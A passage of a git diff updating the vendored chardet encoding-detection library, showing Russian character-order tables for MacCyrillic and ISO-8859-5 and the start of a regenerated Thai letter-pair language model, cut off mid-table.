# 'С' + 146: 40, # 'Т' + 147: 52, # 'У' + 148: 53, # 'Ф' + 149: 55, # 'Х' + 150: 58, # 'Ц' + 151: 50, # 'Ч' + 152: 57, # 'Ш' + 153: 63, # 'Щ' + 154: 70, # 'Ъ' + 155: 62, # 'Ы' + 156: 61, # 'Ь' + 157: 47, # 'Э' + 158: 59, # 'Ю' + 159: 43, # 'Я' + 160: 191, # '†' + 161: 192, # '°' + 162: 193, # 'Ґ' + 163: 194, # '£' + 164: 195, # '§' + 165: 196, # '•' + 166: 197, # '¶' + 167: 198, # 'І' + 168: 199, # '®' + 169: 200, # '©' + 170: 201, # '™' + 171: 202, # 'Ђ' + 172: 203, # 'ђ' + 173: 204, # '≠' + 174: 205, # 'Ѓ' + 175: 206, # 'ѓ' + 176: 207, # '∞' + 177: 208, # '±' + 178: 209, # '≤' + 179: 210, # '≥' + 180: 211, # 'і' + 181: 212, # 'µ' + 182: 213, # 'ґ' + 183: 214, # 'Ј' + 184: 215, # 'Є' + 185: 216, # 'є' + 186: 217, # 'Ї' + 187: 218, # 'ї' + 188: 219, # 'Љ' + 189: 220, # 'љ' + 190: 221, # 'Њ' + 191: 222, # 'њ' + 192: 223, # 'ј' + 193: 224, # 'Ѕ' + 194: 225, # '¬' + 195: 226, # '√' + 196: 227, # 'ƒ' + 197: 228, # '≈' + 198: 229, # '∆' + 199: 230, # '«' + 200: 231, # '»' + 201: 232, # '…' + 202: 233, # '\xa0' + 203: 234, # 'Ћ' + 204: 235, # 'ћ' + 205: 236, # 'Ќ' + 206: 237, # 'ќ' + 207: 238, # 'ѕ' + 208: 239, # '–' + 209: 240, # '—' + 210: 241, # '“' + 211: 242, # '”' + 212: 243, # '‘' + 213: 244, # '’' + 214: 245, # '÷' + 215: 246, # '„' + 216: 247, # 'Ў' + 217: 248, # 'ў' + 218: 249, # 'Џ' + 219: 250, # 'џ' + 220: 251, # '№' + 221: 252, # 'Ё' + 222: 68, # 'ё' + 223: 16, # 'я' + 224: 3, # 'а' + 225: 21, # 'б' + 226: 10, # 'в' + 227: 19, # 'г' + 228: 13, # 'д' + 229: 2, # 'е' + 230: 24, # 'ж' + 231: 20, # 'з' + 232: 4, # 'и' + 233: 23, # 'й' + 234: 11, # 'к' + 235: 8, # 'л' + 236: 12, # 'м' + 237: 5, # 'н' + 238: 1, # 'о' + 239: 15, # 'п' + 240: 9, # 'р' + 241: 7, # 'с' + 242: 6, # 'т' + 243: 14, # 'у' + 244: 39, # 'ф' + 245: 26, # 'х' + 246: 28, # 'ц' + 247: 22, # 'ч' + 248: 25, # 'ш' + 249: 29, # 'щ' + 250: 54, # 'ъ' + 251: 18, # 'ы' + 252: 17, # 'ь' + 253: 30, # 'э' + 254: 27, # 'ю' + 255: 255, # '€' +} + +MACCYRILLIC_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='MacCyrillic', + language='Russian', + char_to_order_map=MACCYRILLIC_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +ISO_8859_5_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # '\x80' + 129: 192, # '\x81' + 130: 193, # '\x82' + 131: 194, # '\x83' + 132: 195, # '\x84' + 133: 196, # '\x85' + 134: 197, # '\x86' + 135: 198, # '\x87' + 136: 199, # '\x88' + 137: 200, # '\x89' + 138: 201, # '\x8a' + 139: 202, # '\x8b' + 140: 203, # '\x8c' + 141: 204, # '\x8d' + 142: 205, # '\x8e' + 143: 206, # '\x8f' + 144: 207, # '\x90' + 145: 208, # '\x91' + 146: 209, # '\x92' + 147: 210, # '\x93' + 148: 211, # '\x94' + 149: 212, # '\x95' + 150: 213, # '\x96' + 151: 214, # '\x97' + 152: 215, # '\x98' + 153: 216, # '\x99' + 154: 217, # '\x9a' + 155: 218, # '\x9b' + 156: 219, # '\x9c' + 157: 220, # '\x9d' + 158: 221, # '\x9e' + 159: 222, # '\x9f' + 160: 223, # '\xa0' + 161: 224, # 'Ё' + 162: 225, # 'Ђ' + 163: 226, # 'Ѓ' + 164: 227, # 'Є' + 165: 228, # 'Ѕ' + 166: 229, # 'І' + 167: 230, # 'Ї' + 168: 231, # 'Ј' + 169: 232, # 'Љ' + 170: 233, # 'Њ' + 171: 234, # 'Ћ' + 172: 235, # 'Ќ' + 173: 236, # '\xad' + 174: 237, # 'Ў' + 175: 238, # 'Џ' + 176: 37, # 'А' + 177: 44, # 'Б' + 178: 33, # 'В' + 179: 46, # 'Г' + 180: 41, # 'Д' + 181: 48, # 'Е' + 182: 56, # 'Ж' + 183: 51, # 'З' + 184: 42, # 'И' + 185: 60, # 'Й' + 186: 36, # 'К' + 187: 49, # 'Л' + 188: 38, # 'М' + 189: 31, # 'Н' + 190: 34, # 'О' + 191: 35, # 'П' + 192: 45, # 'Р' + 193: 32, # 'С' + 194: 40, # 'Т' + 195: 52, # 'У' + 196: 53, # 'Ф' + 197: 55, # 'Х' + 198: 58, # 'Ц' + 199: 50, # 'Ч' + 200: 57, # 'Ш' + 201: 63, # 'Щ' + 202: 70, # 'Ъ' + 203: 62, # 'Ы' + 204: 61, # 'Ь' + 205: 47, # 'Э' + 206: 59, # 'Ю' + 207: 43, # 'Я' + 208: 3, # 'а' + 209: 21, # 'б' + 210: 10, # 'в' + 211: 19, # 'г' + 212: 13, # 'д' + 213: 2, # 'е' + 214: 24, # 'ж' + 215: 20, # 'з' + 216: 4, # 'и' + 217: 23, # 'й' + 218: 11, # 'к' + 219: 8, # 'л' + 220: 12, # 'м' + 221: 5, # 'н' + 222: 1, # 'о' + 223: 15, # 'п' + 224: 9, # 'р' + 225: 7, # 'с' + 226: 6, # 'т' + 227: 14, # 'у' + 228: 39, # 'ф' + 229: 26, # 'х' + 230: 28, # 'ц' + 231: 22, # 'ч' + 232: 25, # 'ш' + 233: 29, # 'щ' + 234: 54, # 'ъ' + 235: 18, # 'ы' + 236: 17, # 'ь' + 237: 30, # 'э' + 238: 27, # 'ю' + 239: 16, # 'я' + 240: 239, # '№' + 241: 68, # 'ё' + 242: 240, # 'ђ' + 243: 241, # 'ѓ' + 244: 242, # 'є' + 245: 243, # 'ѕ' + 246: 244, # 'і' + 247: 245, # 'ї' + 248: 246, # 'ј' + 249: 247, # 'љ' + 250: 248, # 'њ' + 251: 249, # 'ћ' + 252: 250, # 'ќ' + 253: 251, # '§' + 254: 252, # 'ў' + 255: 255, # 'џ' +} + +ISO_8859_5_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-5', + language='Russian', + char_to_order_map=ISO_8859_5_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + diff --git a/thirdparty/chardet/langthaimodel.py b/thirdparty/chardet/langthaimodel.py index 15f94c2df02..a1177a47d2c 100644 --- a/thirdparty/chardet/langthaimodel.py +++ b/thirdparty/chardet/langthaimodel.py @@ -1,199 +1,4383 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### +#!/usr/bin/env python +# -*- coding: utf-8 -*- -# 255: Control characters that usually does not exist in any text +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +THAI_LANG_MODEL = { + 5: { # 'ก' + 5: 2, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 3, # 'ฎ' + 57: 2, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 2, # 'ณ' + 20: 2, # 'ด' + 19: 3, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 1, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 1, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 2, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 3, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 2, # 'ื' + 32: 2, # 'ุ' + 35: 1, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 3, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 30: { # 'ข' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 2, # 'ณ' + 20: 0, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 2, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 2, # 'ี' + 40: 3, # 'ึ' + 27: 1, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 2, # '่' + 7: 3, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 24: { # 'ค' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 2, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 0, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 2, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 3, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 8: { # 'ง' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 2, # 'ง' + 26: 2, # 'จ' + 52: 1, # 'ฉ' + 34: 2, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 2, # 'ศ' + 46: 1, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 1, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 1, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 3, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 26: { # 'จ' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 0, # 'ค' + 8: 2, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 3, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 2, # 'ิ' + 13: 1, # 'ี' + 40: 3, # 'ึ' + 27: 1, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 52: { # 'ฉ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 3, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 3, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 1, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 1, # 'ั' + 1: 1, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 34: { # 'ช' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 1, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 1, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 1, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 51: { # 'ซ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 1, # 'ั' + 1: 1, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 2, # 'ี' + 40: 3, # 'ึ' + 27: 2, # 'ื' + 32: 1, # 'ุ' + 35: 1, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 1, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 47: { # 'ญ' + 5: 1, # 'ก' + 30: 1, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 3, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 2, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 58: { # 'ฎ' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 1, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 57: { # 'ฏ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 